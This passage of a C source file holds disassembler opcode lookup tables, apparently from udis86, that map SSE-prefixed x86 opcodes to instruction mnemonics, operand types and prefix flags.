UD_Ipsllq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F4 */ { UD_Ipmuludq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F5 */ { UD_Ipmaddwd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F6 */ { UD_Ipsadbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F7 */ { UD_Imaskmovq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F8 */ { UD_Ipsubb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F9 */ { UD_Ipsubw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* FA */ { UD_Ipsubd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* FB */ { UD_Ipsubq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* FC */ { UD_Ipaddb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* FD */ { UD_Ipaddw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* FE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__pfx_sse66__0f__op_71__reg[8] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Ipsrlw, O_VR, O_Ib, O_NONE, P_rexb },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Ipsraw, O_VR, O_Ib, O_NONE, P_rexb },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Ipsllw, O_VR, O_Ib, O_NONE, P_rexb },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__pfx_sse66__0f__op_72__reg[8] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Ipsrld, O_VR, O_Ib, O_NONE, P_rexb },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Ipsrad, O_VR, O_Ib, O_NONE, P_rexb },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Ipslld, O_VR, O_Ib, O_NONE, P_rexb },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__pfx_sse66__0f__op_73__reg[8] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Ipsrlq, O_VR, O_Ib, O_NONE, P_rexb },\n /* 03 */ { UD_Ipsrldq, O_VR, O_Ib, O_NONE, P_rexb },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Ipsllq, O_VR, O_Ib, O_NONE, P_rexb },\n /* 07 */ { UD_Ipslldq, O_VR, O_Ib, O_NONE, P_rexb },\n};\n\nstatic struct ud_itab_entry itab__pfx_sse66__0f__op_c7__reg[8] = {\n /* 00 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSE66__0F__OP_C7__REG__OP_00__VENDOR },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__pfx_sse66__0f__op_c7__reg__op_00__vendor[2] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Ivmclear, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__pfx_ssef2__0f[256] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 08 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 09 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 10 */ { UD_Imovsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 11 */ { UD_Imovsd, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 12 */ { UD_Imovddup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 13 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 14 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 15 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 16 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 17 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 19 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 29 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2A */ { UD_Icvtsi2sd, O_V, O_Ex, O_NONE, P_c2|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 2B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2C */ { UD_Icvttsd2si, O_Gvw, O_W, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 2D */ { UD_Icvtsd2si, O_Gvw, O_W, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 40 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 41 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 42 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 43 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 44 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 45 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 46 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 47 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 48 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 49 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 50 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 51 */ { UD_Isqrtsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 52 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 53 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 54 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 55 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 56 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 57 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 58 */ { UD_Iaddsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 59 */ { UD_Imulsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5A */ { UD_Icvtsd2ss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 5C */ { UD_Isubsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5D */ { UD_Iminsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5E */ { UD_Idivsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5F */ { UD_Imaxsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 60 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 61 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 62 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 63 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 64 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 65 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 66 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 67 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 68 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 69 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 70 */ { UD_Ipshuflw, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb },\n /* 71 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 72 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 73 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 74 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 75 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 76 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 77 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 78 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 79 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7C */ { UD_Ihaddps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 7D */ { UD_Ihsubps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 7E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 80 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 81 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 82 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 83 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 84 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 85 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 86 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 87 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 88 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 89 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 90 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 91 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 92 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 93 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 94 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 95 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 96 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 97 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 98 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 99 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C0 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C1 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb },\n /* C2 */ { UD_Icmpsd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb },\n /* C3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D0 */ { UD_Iaddsubps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D6 */ { UD_Imovdq2q, O_P, O_VR, O_NONE, P_aso|P_rexb },\n /* D7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E6 */ { UD_Icvtpd2dq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* ED */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F0 */ { UD_Ilddqu, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__pfx_ssef3__0f[256] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 08 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 09 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 10 */ { UD_Imovss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 11 */ { UD_Imovss, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 12 */ { UD_Imovsldup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 13 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 14 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 15 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 16 */ { UD_Imovshdup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 17 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 19 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 1F */ { 